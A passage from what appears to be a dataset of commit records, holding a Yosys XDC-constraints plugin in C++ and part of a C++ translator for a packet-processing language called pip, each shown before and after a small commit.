YS_OVERRIDE {\n                if (args.size() < 2) {\n                        log_cmd_error(\"Missing JSON file.\\n\");\n\t\t}\n\t\t\/\/ Check if the part has the specified bank\n\t\tauto bank_tiles = get_bank_tiles(args[1]);\n\t\tif (bank_tiles.size()) {\n\t\t\tlog(\"Available bank tiles:\\n\");\n\t\t\tfor (auto bank : bank_tiles) {\n\t\t\t\tlog(\"Bank: %d, Tile: %s\\n\", bank.first, bank.second.c_str());\n\t\t\t}\n\t\t\tlog(\"\\n\");\n\t\t} else {\n\t\t\tlog(\"No bank tiles available.\\n\");\n\t\t}\n\t}\n} GetBankTiles;\n\nPRIVATE_NAMESPACE_END\n<commit_msg>XDC: Add support for bus ports<commit_after>\/*\n *  yosys -- Yosys Open SYnthesis Suite\n *\n *  Copyright (C) 2012  Clifford Wolf <clifford@clifford.at>\n *  Copyright (C) 2019  The Symbiflow Authors\n *\n *  Permission to use, copy, modify, and\/or distribute this software for any\n *  purpose with or without fee is hereby granted, provided that the above\n *  copyright notice and this permission notice appear in all copies.\n *\n *  THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\n *  WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\n *  MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\n *  ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\n *  WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\n *  ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\n *  OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n *\n *  ---\n *\n *   XDC commands\n *\n *   This plugin operates on the existing design and modifies its structure\n *   based on the content of the XDC (Xilinx Design Constraints) file.\n *   Since the XDC file consists of Tcl commands it is read using Yosys's\n *   Tcl interpreter and processed by the new XDC commands imported to the\n *   Tcl interpreter.\n *\/\n#include <cassert>\n#include \"kernel\/register.h\"\n#include \"kernel\/rtlil.h\"\n#include \"kernel\/log.h\"\n#include \"libs\/json11\/json11.hpp\"\n#include \"..\/bank_tiles.h\"\n\nUSING_YOSYS_NAMESPACE\n\nPRIVATE_NAMESPACE_BEGIN\n\nstatic bool isInputPort(RTLIL::Wire* wire) {\n\treturn wire->port_input;\n}\nstatic bool isOutputPort(RTLIL::Wire* wire) {\n\treturn wire->port_output;\n}\n\nenum class SetPropertyOptions { INTERNAL_VREF, IOSTANDARD, SLEW, IN_TERM };\n\nconst std::unordered_map<std::string, SetPropertyOptions> set_property_options_map  = {\n\t{\"INTERNAL_VREF\", SetPropertyOptions::INTERNAL_VREF},\n\t{\"IOSTANDARD\", SetPropertyOptions::IOSTANDARD},\n\t{\"SLEW\", SetPropertyOptions::SLEW},\n\t{\"IN_TERM\", SetPropertyOptions::IN_TERM}\n};\n\nvoid register_in_tcl_interpreter(const std::string& command) {\n\tTcl_Interp* interp = yosys_get_tcl_interp();\n\tstd::string tcl_script = stringf(\"proc %s args { return [yosys %s {*}$args] }\", command.c_str(), command.c_str());\n\tTcl_Eval(interp, tcl_script.c_str());\n}\n\nstruct GetPorts : public Pass {\n\tGetPorts() : Pass(\"get_ports\", \"Print matching ports\") {\n\t\tregister_in_tcl_interpreter(pass_name);\n\t}\n\n\tvoid help() YS_OVERRIDE\n\t{\n\t\t\/\/   |---v---|---v---|---v---|---v---|---v---|---v---|---v---|---v---|---v---|---v---|\n\t\tlog(\"\\n\");\n\t\tlog(\"   get_ports <port_name> \\n\");\n\t\tlog(\"\\n\");\n\t\tlog(\"Get matching ports\\n\");\n\t\tlog(\"\\n\");\n\t\tlog(\"Print the output to stdout too. This is useful when all Yosys is executed\\n\");\n\t\tlog(\"\\n\");\n\t}\n\n\tvoid execute(std::vector<std::string> args, RTLIL::Design* design) YS_OVERRIDE\n\t{\n\t\tif (args.size() < 2) {\n\t\t\tlog_cmd_error(\"No port specified.\\n\");\n\t\t}\n\t\tRTLIL::Module* top_module = design->top_module();\n\t\tif (top_module == nullptr) {\n\t\t\tlog_cmd_error(\"No top module detected\\n\");\n\t\t}\n\t\t\/\/ TODO handle more than one port\n\t\tport_name = args.at(1);\n\t\tchar port[128];\n\t\tint bit(0);\n\t\tstd::string port_signal(port_name);\n\t\tif (sscanf(port_name.c_str(), \"%[^[][%d]\", port, &bit) == 2) {\n\t\t\tport_signal = std::string(port);\n\t\t}\n\n\t\tRTLIL::IdString port_id(RTLIL::escape_id(port_signal.c_str()));\n\t\tif (auto wire = top_module->wire(port_id)) {\n\t\t\tif (isInputPort(wire) || isOutputPort(wire)) {\n\t\t\t\tTcl_Interp *interp = yosys_get_tcl_interp();\n\t\t\t\tTcl_SetResult(interp, const_cast<char*>(port_name.c_str()), NULL);\n\t\t\t\tlog(\"Found port %s\\n\", port_name.c_str());\n\t\t\t\treturn;\n\t\t\t}\n\t\t}\n\t\tlog_warning(\"Couldn't find port %s\\n\", port_name.c_str());\n\t}\n\tstd::string port_name;\n};\n\nstruct GetIOBanks : public Pass {\n\tGetIOBanks(std::function<const BankTilesMap&()> get_bank_tiles)\n\t\t: Pass(\"get_iobanks\", \"Set IO Bank number\")\n\t\t, get_bank_tiles(get_bank_tiles) {\n\t\tregister_in_tcl_interpreter(pass_name);\n\t}\n\n\tvoid help() YS_OVERRIDE\t{\n\t\t\/\/   |---v---|---v---|---v---|---v---|---v---|---v---|---v---|---v---|---v---|---v---|\n\t\tlog(\"\\n\");\n\t\tlog(\"   get_iobanks <bank_number>\\n\");\n\t\tlog(\"\\n\");\n\t\tlog(\"Get IO Bank number\\n\");\n\t\tlog(\"\\n\");\n\t}\n\n\tvoid execute(std::vector<std::string> args, RTLIL::Design* ) YS_OVERRIDE {\n\t\tif (args.size() < 2) {\n\t\t\tlog_cmd_error(\"%s: Missing bank number.\\n\", pass_name.c_str());\n\t\t}\n\t\tauto bank_tiles = get_bank_tiles();\n\t\tif (bank_tiles.count(std::atoi(args[1].c_str())) == 0) {\n\t\t\tlog_cmd_error(\"%s:Bank number %s is not present in the target device.\\n\", args[1].c_str(), pass_name.c_str());\n\t\t}\n\n                Tcl_Interp *interp = yosys_get_tcl_interp();\n\t\tTcl_SetResult(interp, const_cast<char*>(args[1].c_str()), NULL);\n\t\tlog(\"%s\\n\", args[1].c_str());\n\t}\n\n\tstd::function<const BankTilesMap&()> get_bank_tiles;\n};\n\nstruct SetProperty : public Pass {\n\tSetProperty(std::function<const BankTilesMap&()> get_bank_tiles)\n\t\t: Pass(\"set_property\", \"Set a given property\")\n\t\t, get_bank_tiles(get_bank_tiles) {\n\t\tregister_in_tcl_interpreter(pass_name);\n\t}\n\n\tvoid help() YS_OVERRIDE\t{\n\t\t\/\/   |---v---|---v---|---v---|---v---|---v---|---v---|---v---|---v---|---v---|---v---|\n\t\tlog(\"\\n\");\n\t\tlog(\"    set_property PROPERTY VALUE OBJECT\\n\");\n\t\tlog(\"\\n\");\n\t\tlog(\"Set the given property to the specified value on an object\\n\");\n\t\tlog(\"\\n\");\n\t}\n\n\tvoid execute(std::vector<std::string> args, RTLIL::Design* design) YS_OVERRIDE {\n\t\tif (design->top_module() == nullptr) {\n\t\t\tlog_cmd_error(\"No top module detected\\n\");\n\t\t}\n\n\t\tstd::string option(args[1]);\n\t\tif (set_property_options_map.count(option) == 0) {\n\t\t\tlog_warning(\"set_property: %s option is currently not supported\\n\", option.c_str());\n\t\t\treturn;\n\t\t}\n\n\t\tswitch (set_property_options_map.at(option)) {\n\t\t\tcase SetPropertyOptions::INTERNAL_VREF:\n\t\t\t\tprocess_vref(std::vector<std::string>(args.begin() + 2, args.end()), design);\n\t\t\t\tbreak;\n\t\t\tcase SetPropertyOptions::IOSTANDARD:\n\t\t\tcase SetPropertyOptions::SLEW:\n\t\t\tcase SetPropertyOptions::IN_TERM:\n\t\t\t\tprocess_port_parameter(std::vector<std::string>(args.begin() + 1, args.end()), design);\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\tassert(false);\n\t\t}\n\t}\n\n\tvoid process_vref(std::vector<std::string> args, RTLIL::Design* design) {\n\t\tif (args.size() < 2) {\n\t\t\tlog_error(\"set_property INTERNAL_VREF: Incorrect number of arguments.\\n\");\n\t\t}\n\t\tint iobank = std::atoi(args[1].c_str());\n\t\tauto bank_tiles = get_bank_tiles();\n\t\tif (bank_tiles.count(iobank) == 0) {\n\t\t\tlog_cmd_error(\"set_property INTERNAL_VREF: Invalid IO bank.\\n\");\n\t\t}\n\n\t\tint internal_vref = 1000 * std::atof(args[0].c_str());\n\t\tif (internal_vref != 600 &&\n\t\t\t\tinternal_vref != 675 &&\n\t\t\t\tinternal_vref != 750 &&\n\t\t\t\tinternal_vref != 900) {\n\t\t\tlog(\"set_property INTERNAL_VREF: Incorrect INTERNAL_VREF value\\n\");\n\t\t\treturn;\n\t\t}\n\n\t\t\/\/ Create a new BANK module if it hasn't been created so far\n\t\tRTLIL::Module* top_module = design->top_module();\n\t\tif (!design->has(ID(BANK))) {\n\t\t\tstd::string fasm_extra_modules_dir(proc_share_dirname() + \"\/plugins\/fasm_extra_modules\");\n\t\t\tPass::call(design, \"read_verilog \" + fasm_extra_modules_dir + \"\/BANK.v\");\n\t\t}\n\n\t\t\/\/ Set parameters on a new bank instance or update an existing one\n\t\tchar bank_cell_name[16];\n\t\tsnprintf(bank_cell_name, 16, \"\\\\bank_cell_%d\", iobank);\n\t\tRTLIL::Cell* bank_cell = top_module->cell(RTLIL::IdString(bank_cell_name));\n\t\tif (!bank_cell) {\n\t\t\tbank_cell = top_module->addCell(RTLIL::IdString(bank_cell_name), ID(BANK));\n\t\t}\n\t\tbank_cell->setParam(ID(FASM_EXTRA), RTLIL::Const(\"INTERNAL_VREF\"));\n\t\tbank_cell->setParam(ID(NUMBER), RTLIL::Const(iobank));\n\t\tbank_cell->setParam(ID(INTERNAL_VREF), RTLIL::Const(internal_vref));\n\t}\n\n\tvoid process_port_parameter(std::vector<std::string> args, RTLIL::Design* design) {\n\t\tif (args.size() < 1) {\n\t\t\tlog_error(\"set_property: Incorrect number of arguments.\\n\");\n\t\t}\n\t\tstd::string parameter(args.at(0));\n\t\tif (args.size() < 3) {\n\t\t\tlog_error(\"set_property %s: Incorrect number of arguments.\\n\", parameter.c_str());\n\t\t}\n\t\tstd::string port_name(args.at(2));\n\t\tstd::string value(args.at(1));\n\t\tchar port[128];\n\t\tchar bit[64];\n\t\tif (sscanf(port_name.c_str(), \"%[^[]%s\", port, bit) == 2) {\n\t\t\tport_name = std::string(port) + \" \" + std::string(bit);\n\t\t}\n\t\tRTLIL::Module* top_module = design->top_module();\n\t\tRTLIL::IdString port_id(RTLIL::escape_id(port_name.c_str()));\n\t\tfor (auto cell_obj : top_module->cells_) {\n\t\t\tRTLIL::Cell* cell = cell_obj.second;\n\t\t\tRTLIL::IdString cell_id = cell_obj.first;\n\t\t\tfor (auto connection : cell->connections_) {\n\t\t\t\tRTLIL::SigSpec cell_signals = connection.second;\n\t\t\t\tif (!strcmp(log_signal(cell_signals),port_id.c_str())) {\n\t\t\t\t\tcell->setParam(RTLIL::IdString(RTLIL::escape_id(parameter)), RTLIL::Const(value));\n\t\t\t\t\tlog(\"Setting parameter %s to value %s on cell %s \\n\", parameter.c_str(), value.c_str(), cell_id.c_str());\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tstd::function<const BankTilesMap&()> get_bank_tiles;\n};\n\nstruct ReadXdc : public Frontend {\n\tReadXdc()\n\t       \t: Frontend(\"xdc\", \"Read XDC file\")\n\t\t, GetIOBanks(std::bind(&ReadXdc::get_bank_tiles, this))\n\t\t, SetProperty(std::bind(&ReadXdc::get_bank_tiles, this)) {}\n\n\tvoid help() YS_OVERRIDE {\n\t\t\/\/   |---v---|---v---|---v---|---v---|---v---|---v---|---v---|---v---|---v---|---v---|\n\t\tlog(\"\\n\");\n\t\tlog(\"    read_xdc -part_json <part_json_filename> <filename>\\n\");\n\t\tlog(\"\\n\");\n\t\tlog(\"Read XDC file.\\n\");\n\t\tlog(\"\\n\");\n\t}\n\n\tvoid execute(std::istream *&f, std::string filename, std::vector<std::string> args, RTLIL::Design*) YS_OVERRIDE {\n                if (args.size() < 2) {\n                        log_cmd_error(\"Missing script file.\\n\");\n\t\t}\n                Tcl_Interp *interp = yosys_get_tcl_interp();\n\t\tsize_t argidx = 1;\n\t\tbank_tiles.clear();\n\t\tif (args[argidx] == \"-part_json\" && argidx + 1 < args.size()) {\n\t\t\tbank_tiles = ::get_bank_tiles(args[++argidx]);\n\t\t\targidx++;\n\t\t}\n\t\textra_args(f, filename, args, argidx);\n\t\tstd::string content{std::istreambuf_iterator<char>(*f), std::istreambuf_iterator<char>()};\n\t\tlog(\"%s\\n\", content.c_str());\n                if (Tcl_EvalFile(interp, args[argidx].c_str()) != TCL_OK) {\n                        log_cmd_error(\"TCL interpreter returned an error: %s\\n\", Tcl_GetStringResult(interp));\n\t\t}\n\t}\n\tconst BankTilesMap& get_bank_tiles() {\n\t\treturn bank_tiles;\n\t}\n\n\tBankTilesMap bank_tiles;\n\tstruct GetPorts GetPorts;\n\tstruct GetIOBanks GetIOBanks;\n\tstruct SetProperty SetProperty;\n} ReadXdc;\n\nstruct GetBankTiles : public Pass {\n\tGetBankTiles()\n\t       \t: Pass(\"get_bank_tiles\", \"Inspect IO Bank tiles\") {\n\t\tregister_in_tcl_interpreter(pass_name);\n\t}\n\n\tvoid help() YS_OVERRIDE\n\t{\n\t\t\/\/   |---v---|---v---|---v---|---v---|---v---|---v---|---v---|---v---|---v---|---v---|\n\t\tlog(\"\\n\");\n\t\tlog(\"   get_bank_tiles <part_json_file>\\n\");\n\t\tlog(\"\\n\");\n\t\tlog(\"Inspect IO Bank tiles for the specified part based on the provided JSON file.\\n\");\n\t\tlog(\"\\n\");\n\t}\n\n\tvoid execute(std::vector<std::string> args, RTLIL::Design* ) YS_OVERRIDE {\n                if (args.size() < 2) {\n                        log_cmd_error(\"Missing JSON file.\\n\");\n\t\t}\n\t\t\/\/ Check if the part has the specified bank\n\t\tauto bank_tiles = get_bank_tiles(args[1]);\n\t\tif (bank_tiles.size()) {\n\t\t\tlog(\"Available bank tiles:\\n\");\n\t\t\tfor (auto bank : bank_tiles) {\n\t\t\t\tlog(\"Bank: %d, Tile: %s\\n\", bank.first, bank.second.c_str());\n\t\t\t}\n\t\t\tlog(\"\\n\");\n\t\t} else {\n\t\t\tlog(\"No bank tiles available.\\n\");\n\t\t}\n\t}\n} GetBankTiles;\n\nPRIVATE_NAMESPACE_END\n<|endoftext|>"}
{"text":"<commit_before>#include \"translator.hpp\"\n#include \"decl.hpp\"\n#include \"type.hpp\"\n#include \"context.hpp\"\n#include \"expr.hpp\"\n#include \"action.hpp\"\n#include \"dumper.hpp\"\n\n#include <string>\n\n\/\/ for testing only\n#include <iostream>\n#include <sstream>\n\nnamespace pip\n{\n  translator::translator(context& cxt)\n    : cxt(cxt), field_decoder(cxt)\n  {\n  }\n  \n  \/\/\/ program ::= (pip <decl-seq>)\n  decl*\n  translator::trans_program(const sexpr::expr* e)\n  {\n    if (const sexpr::list_expr* list = as<sexpr::list_expr>(e)) {\n      decl_seq decls;\n      match_list(list, \"pip\", &decls);\n      \n      return new program_decl(std::move(decls));\n    }\n    sexpr::throw_unexpected_term(e);\n  }\n  \n  \/\/\/ decl-seq ::= (<decl*>)\n  decl_seq\n  translator::trans_decls(const sexpr::expr* e)\n  {\n    if (const sexpr::list_expr* list = as<sexpr::list_expr>(e)) {\n      decl_seq decls;\n\n      decl* d = trans_decl(list);\n      decls.push_back(d);\n      \n      return decls;\n    }\n    sexpr::throw_unexpected_term(e);\n  }\n  \n  \/\/\/ decl ::= table-decl | meter-decl\n  decl*\n  translator::trans_decl(const sexpr::expr* e)\n  {\n    if (const sexpr::list_expr* list = as<sexpr::list_expr>(e)) {\n      symbol* sym;\n      match_list(list, &sym);\n      if (*sym == \"table\")\n\treturn trans_table(list);\n      sexpr::throw_unexpected_id(cast<sexpr::id_expr>(list->exprs[0]));\n    }\n    sexpr::throw_unexpected_term(e);\n  }\n  \n  \/\/\/ table-decl ::= (table id <match-kind> <action-seq> <rule-seq>)\n  \/\/\/\n  \/\/\/ rule-kind ::= exact | prefix | wildcard | range\n  \/\/\/\n  \/\/\/ FIXME: We actually need parse the key extraction program. This\n  \/\/\/ would be a sequence of actions that bits from the current offset\n  \/\/\/ into a \"key register\".\n  decl*\n  translator::trans_table(const sexpr::list_expr* e)\n  {\n    symbol* id;\n    symbol* kind;\n    action_seq actions;\n    rule_seq rules;\n    match_list(e, \"table\", &id, &kind, &actions, &rules);\n    \n    \/\/ TODO: Actually parse the kind of match. For now, we can simply\n    \/\/ assume that all tables are exact. Hint: use the match_list framework\n    \/\/ to return a match kind.\n    \n    return new table_decl(id, rk_exact, std::move(actions), std::move(rules));\n  }\n  \n  \/\/\/ rule_seq ::= (<rule*>)\n  rule_seq\n  translator::trans_rules(const sexpr::expr* e)\n  {\n    if (const sexpr::list_expr* list = as<sexpr::list_expr>(e)) {\n      match_list(list, \"rules\");\n      rule_seq rules;\n      \n      \/\/ Match each element in turn.\n      for(const sexpr::expr* el : list->exprs) {\n        \/\/ We are only interested in the entire sublists contained within list,\n        \/\/ not its individual expressions.\n\tif(const sexpr::list_expr* r = as<sexpr::list_expr>(el)) {\t\t\t\t\t\n\t  rule* r1 = trans_rule(r);\n\t  rules.push_back(r1);\n\t}\n      }\n      return rules;\n    }\n    sexpr::throw_unexpected_term(e);    \n  }\n  \n  rule*\n  translator::trans_rule(const sexpr::expr* e)\n  {\n    if (const sexpr::list_expr* list = as<sexpr::list_expr>(e)) {\n      expr_seq exprs;\n      expr* key;\n      action_seq actions;\n      \n      match_list(list, &key, &actions);\n      \n      auto r = new rule(rk_exact, key, std::move(actions));\n      return r;\n    }\n    \n    sexpr::throw_unexpected_term(e);\n  }\n  \n  rule*\n  translator::trans_rule(const sexpr::list_expr* e)\n  {\n    expr_seq exprs;\n    expr* key;\n    action_seq actions;\n    \n    match_list(e, \"rule\", &key, &actions);\n    \n    auto r = new rule(rk_exact, key, std::move(actions));\n\n    dumper d(std::cout);\n    d(r);\n    return r;\n  }\n  \n  \n  action_seq\n  translator::trans_actions(const sexpr::expr* e)\n  {\n    if (const sexpr::list_expr* list = as<sexpr::list_expr>(e)) {\n      match_list(list, \"actions\");\n      action_seq actions;\n      for(const sexpr::expr* el : list->exprs) {\n\t\/\/ We are only interested in the entire sublists contained within list,\n\t\/\/ not its individual expressions.\n\tif(const sexpr::list_expr* a = as<sexpr::list_expr>(el)) {\n\t  action* a1 = trans_action(a);\n\t  actions.push_back(a1);\n\t}\n      }\n      \n      return actions;\n    }\n    sexpr::throw_unexpected_term(e);\n  }\n  \n  action*\n  translator::trans_action(const sexpr::list_expr* e)\n  {\n    symbol* action_name;\n    expr_seq exprs;\n    int i;\n    \n    match_list(e, &action_name);\n    \n    if(*action_name == \"advance\") {\n      expr* amount;\n      match_list(e, \"advance\", &amount);\n      return cxt.make_advance_action(amount);\n    }\n    \n    if(*action_name == \"copy\") {\n      expr* src;\n      expr* dst;\n      expr* n;\n      match_list(e, \"copy\", &src, &dst, &n);\n      \n      \/\/ TODO: Use libcc diagnostics.\n      if(!dynamic_cast<bitfield_expr*>(src))\n\tthrow std::runtime_error(\"Source in copy action does not have location type.\\n\");\n      if(!dynamic_cast<bitfield_expr*>(dst))\n\tthrow std::runtime_error(\"Destination in copy action does not have location type.\\n\");\n      if(!(dynamic_cast<int_expr*>(n)))\n\tthrow std::runtime_error(\"Length of copy must be of type int.\\n\");\n\n      return cxt.make_copy_action(src, dst, n);\n    }\n    \n    if(*action_name == \"set\") {\n      expr* f;\n      expr* v;\n      match_list(e, \"set\", &f, &v);\n      return cxt.make_set_action(f, v);\n    }\n    \n    if(*action_name == \"write\") {\n      action* a;\n      match_list(e, \"write\", &a);\n      \n      return cxt.make_write_action(a);\n    }\n    \n    if(*action_name == \"clear\") {\n      return cxt.make_clear_action();\n    }\n\n    if(*action_name == \"drop\") {\n      return cxt.make_drop_action();\n    }\n\n    if(*action_name == \"match\") {\n      return cxt.make_match_action();\n    }\n\n    if(*action_name == \"goto\") {\n      expr* dst;\n      match_list(e, \"goto\", &dst);\n\n      return cxt.make_goto_action(dst);\n    }\n    \n    if(*action_name == \"output\") {\n      expr* dst;\n      match_list(e, \"output\", &dst);\n      \n      return cxt.make_output_action(dst);\n    }\n    \n    sexpr::throw_unexpected_term(e);\n  }\n  \n  expr*\n  translator::trans_expr(const sexpr::expr* e)\n  {\n    \/\/ Match phrases.\n    if (const sexpr::list_expr* list = as<sexpr::list_expr>(e)) {\n      symbol* sym;\n      match_list(list, &sym);\n\n      auto it = expression_symbols.find(sym);\n\n      if(it == expression_symbols.end())\n\tthrow std::logic_error(\"Invalid expression.\");\n\n      switch(it->second) {\n      case es_int:\n\treturn trans_int_expr(list);\n      \n      case es_wildcard:\n\treturn trans_wild_expr(list);\n      case es_range:\n\treturn trans_range_expr(list);\n      case es_port:\n\treturn trans_port_expr(list);\n      case es_bitfield:\n\treturn trans_bitfield_expr(list);\n      case es_miss:\n\treturn trans_miss_expr();\n      case es_named_field:\n\treturn trans_named_field_expr(list);\n      }\n    }\n  }\n  \n  expr_seq\n  translator::trans_exprs(const sexpr::expr* e)\n  {\n    if (const sexpr::list_expr* list = as<sexpr::list_expr>(e)) {\n      expr_seq exprs;\n      for (const sexpr::expr* elem : list->exprs) {\n\texpr* e = trans_expr(elem);\n\texprs.push_back(e);\n      }\n      return exprs;\n    }\n    sexpr::throw_unexpected_term(e);\n  }\n  \n  expr*\n  translator::trans_range_expr(const sexpr::list_expr* e)\n  {\n    expr* lo;\n    expr* hi;\n    match_list(e, \"range\", &lo, &hi);\n    \n    auto lo_expr = as<int_expr>(lo);\n    auto hi_expr = as<int_expr>(hi);\n    \n    auto lo_val = lo_expr->val;\n    auto hi_val = hi_expr->val;\n    \n    auto lo_ty = static_cast<int_type*>(lo_expr->ty);\n    auto hi_ty = static_cast<int_type*>(hi_expr->ty);\n    \n    if(lo_ty->width == hi_ty->width)\n      return cxt.make_range_expr(new range_type(\n\t\t\t\t   new int_type(lo_ty->width)), lo_val, hi_val);\n    \/\/TODO: proper diagnostic\n    std::stringstream ss;\n    ss << \"Width of range arguments not equal: \" << lo_ty->width << \", and \"\n       << hi_ty->width << \"\\n\";\n    throw std::runtime_error(ss.str().c_str());\n  }\n  \n  expr*\n  translator::trans_wild_expr(const sexpr::list_expr* e)\n  {\n  }\n  \n  expr*\n  translator::trans_miss_expr()\n  {\n    return cxt.make_miss_expr(new int_type(64));\n  }\n  \n  expr*\n  translator::trans_ref_expr(const sexpr::id_expr* e)\n  {\n  }\n  \n  expr*\n  translator::trans_named_field_expr(const sexpr::list_expr* e)\n  {\n    symbol* field;\n    match_list(e, \"named_field\", &field);\n   \n    return field_decoder.decode_named_field(\n      static_cast<named_field_expr*>(cxt.make_named_field_expr(new loc_type, field)));\n  }\n  \n  expr*\n  translator::trans_port_expr(const sexpr::list_expr* e)\n  {\n    expr* port;\n    match_list(e, \"port\", &port);\n\n    if(get_kind(port) != ek_int && get_kind(port) != ek_bitfield) {\n      throw std::logic_error(\"Invalid type for port value.\\n\");\n    }\n    \n    return cxt.make_port_expr(new port_type, port);\n  }\n  \n  expr*\n  translator::trans_bitfield_expr(const sexpr::list_expr* e)\n  {\n    symbol* space;\n    expr* pos;\n    expr* len;\n    \n    match_list(e, \"bitfield\", &space, &pos, &len);\n\n    address_space as;\n    auto it = address_spaces.find(space);\n    if(it != address_spaces.end())\n      as = it->second;\n    else\n      throw std::logic_error(\"Invalid address space.\");\n    \n    return cxt.make_bitfield_expr(as, pos, len);\n  }\n  \n  \/\/ When given an integer width specifier, such as i32,\n  \/\/ return the integer after the i. In this case, 32.\n  static int\n  deduce_int_type_width(const symbol* ty)\n  {\n    std::string spec = *ty;\n    \n    if(spec.front() == 'i') {\n      spec.erase(0, 1);\n      \n      std::size_t it;\n      auto width = std::stoi(spec.c_str(), &it);\n      \n      if(spec.size() == it)\n\treturn width;\n    }\n    \n    std::stringstream ss;\n    ss << \"Invalid integer width specifier: \" << *ty <<\n      \". Specifier should be of form i[integer].\\n\";\n    throw std::runtime_error(ss.str().c_str());\n  }\n  \n  expr*\n  translator::trans_int_expr(const sexpr::list_expr* e)\n  {\n    symbol* width_specifier;\n    int value;\n    match_list(e, \"int\", &width_specifier, &value);\n    \n    int w = deduce_int_type_width(width_specifier);\n    \n    return cxt.make_int_expr( new int_type(w), value );    \n  }\n  \n  \/\/ -------------------------------------------------------------------------- \/\/\n  \/\/ Matching\n  \n  void \n  translator::match(const sexpr::list_expr* list, int n, decl_seq* decls)\n  {\n    *decls = trans_decls(get(list, n));\n  }\n  \n  void \n  translator::match(const sexpr::list_expr* list, int n, rule_seq* rules)\n  {\n    *rules = trans_rules(get(list, n));\n  }\n  \n  void \n  translator::match(const sexpr::list_expr* list, int n, expr_seq* exprs)\n  {\n    *exprs = trans_exprs(get(list, n));\n  }\n  \n  void\n  translator::match(const sexpr::list_expr* list, int n, expr** out)\n  {\n    *out = trans_expr(get(list, n));\n  }\n  \n  void \n  translator::match(const sexpr::list_expr* list, int n, action_seq* actions)\n  {\n    *actions = trans_actions(get(list, n));\n  }\n  \n  void \n  translator::match(const sexpr::list_expr* list, int n, action** a)\n  {\n    *a = trans_action(list);\n  }\n} \/\/ namespace pip\n<commit_msg>Remove FIXME about parsing key extraction program.<commit_after>#include \"translator.hpp\"\n#include \"decl.hpp\"\n#include \"type.hpp\"\n#include \"context.hpp\"\n#include \"expr.hpp\"\n#include \"action.hpp\"\n#include \"dumper.hpp\"\n\n#include <string>\n\n\/\/ for testing only\n#include <iostream>\n#include <sstream>\n\nnamespace pip\n{\n  translator::translator(context& cxt)\n    : cxt(cxt), field_decoder(cxt)\n  {\n  }\n  \n  \/\/\/ program ::= (pip <decl-seq>)\n  decl*\n  translator::trans_program(const sexpr::expr* e)\n  {\n    if (const sexpr::list_expr* list = as<sexpr::list_expr>(e)) {\n      decl_seq decls;\n      match_list(list, \"pip\", &decls);\n      \n      return new program_decl(std::move(decls));\n    }\n    sexpr::throw_unexpected_term(e);\n  }\n  \n  \/\/\/ decl-seq ::= (<decl*>)\n  decl_seq\n  translator::trans_decls(const sexpr::expr* e)\n  {\n    if (const sexpr::list_expr* list = as<sexpr::list_expr>(e)) {\n      decl_seq decls;\n\n      decl* d = trans_decl(list);\n      decls.push_back(d);\n      \n      return decls;\n    }\n    sexpr::throw_unexpected_term(e);\n  }\n  \n  \/\/\/ decl ::= table-decl | meter-decl\n  decl*\n  translator::trans_decl(const sexpr::expr* e)\n  {\n    if (const sexpr::list_expr* list = as<sexpr::list_expr>(e)) {\n      symbol* sym;\n      match_list(list, &sym);\n      if (*sym == \"table\")\n\treturn trans_table(list);\n      sexpr::throw_unexpected_id(cast<sexpr::id_expr>(list->exprs[0]));\n    }\n    sexpr::throw_unexpected_term(e);\n  }\n  \n  \/\/\/ table-decl ::= (table id <match-kind> <action-seq> <rule-seq>)\n  \/\/\/\n  \/\/\/ rule-kind ::= exact | prefix | wildcard | range\n  decl*\n  translator::trans_table(const sexpr::list_expr* e)\n  {\n    symbol* id;\n    symbol* kind;\n    action_seq actions;\n    rule_seq rules;\n    match_list(e, \"table\", &id, &kind, &actions, &rules);\n    \n    \/\/ TODO: Actually parse the kind of match. For now, we can simply\n    \/\/ assume that all tables are exact. Hint: use the match_list framework\n    \/\/ to return a match kind.\n    \n    return new table_decl(id, rk_exact, std::move(actions), std::move(rules));\n  }\n  \n  \/\/\/ rule_seq ::= (<rule*>)\n  rule_seq\n  translator::trans_rules(const sexpr::expr* e)\n  {\n    if (const sexpr::list_expr* list = as<sexpr::list_expr>(e)) {\n      match_list(list, \"rules\");\n      rule_seq rules;\n      \n      \/\/ Match each element in turn.\n      for(const sexpr::expr* el : list->exprs) {\n        \/\/ We are only interested in the entire sublists contained within list,\n        \/\/ not its individual expressions.\n\tif(const sexpr::list_expr* r = as<sexpr::list_expr>(el)) {\t\t\t\t\t\n\t  rule* r1 = trans_rule(r);\n\t  rules.push_back(r1);\n\t}\n      }\n      return rules;\n    }\n    sexpr::throw_unexpected_term(e);    \n  }\n  \n  rule*\n  translator::trans_rule(const sexpr::expr* e)\n  {\n    if (const sexpr::list_expr* list = as<sexpr::list_expr>(e)) {\n      expr_seq exprs;\n      expr* key;\n      action_seq actions;\n      \n      match_list(list, &key, &actions);\n      \n      auto r = new rule(rk_exact, key, std::move(actions));\n      return r;\n    }\n    \n    sexpr::throw_unexpected_term(e);\n  }\n  \n  rule*\n  translator::trans_rule(const sexpr::list_expr* e)\n  {\n    expr_seq exprs;\n    expr* key;\n    action_seq actions;\n    \n    match_list(e, \"rule\", &key, &actions);\n    \n    auto r = new rule(rk_exact, key, std::move(actions));\n\n    dumper d(std::cout);\n    d(r);\n    return r;\n  }\n  \n  \n  action_seq\n  translator::trans_actions(const sexpr::expr* e)\n  {\n    if (const sexpr::list_expr* list = as<sexpr::list_expr>(e)) {\n      match_list(list, \"actions\");\n      action_seq actions;\n      for(const sexpr::expr* el : list->exprs) {\n\t\/\/ We are only interested in the entire sublists contained within list,\n\t\/\/ not its individual expressions.\n\tif(const sexpr::list_expr* a = as<sexpr::list_expr>(el)) {\n\t  action* a1 = trans_action(a);\n\t  actions.push_back(a1);\n\t}\n      }\n      \n      return actions;\n    }\n    sexpr::throw_unexpected_term(e);\n  }\n  \n  action*\n  translator::trans_action(const sexpr::list_expr* e)\n  {\n    symbol* action_name;\n    expr_seq 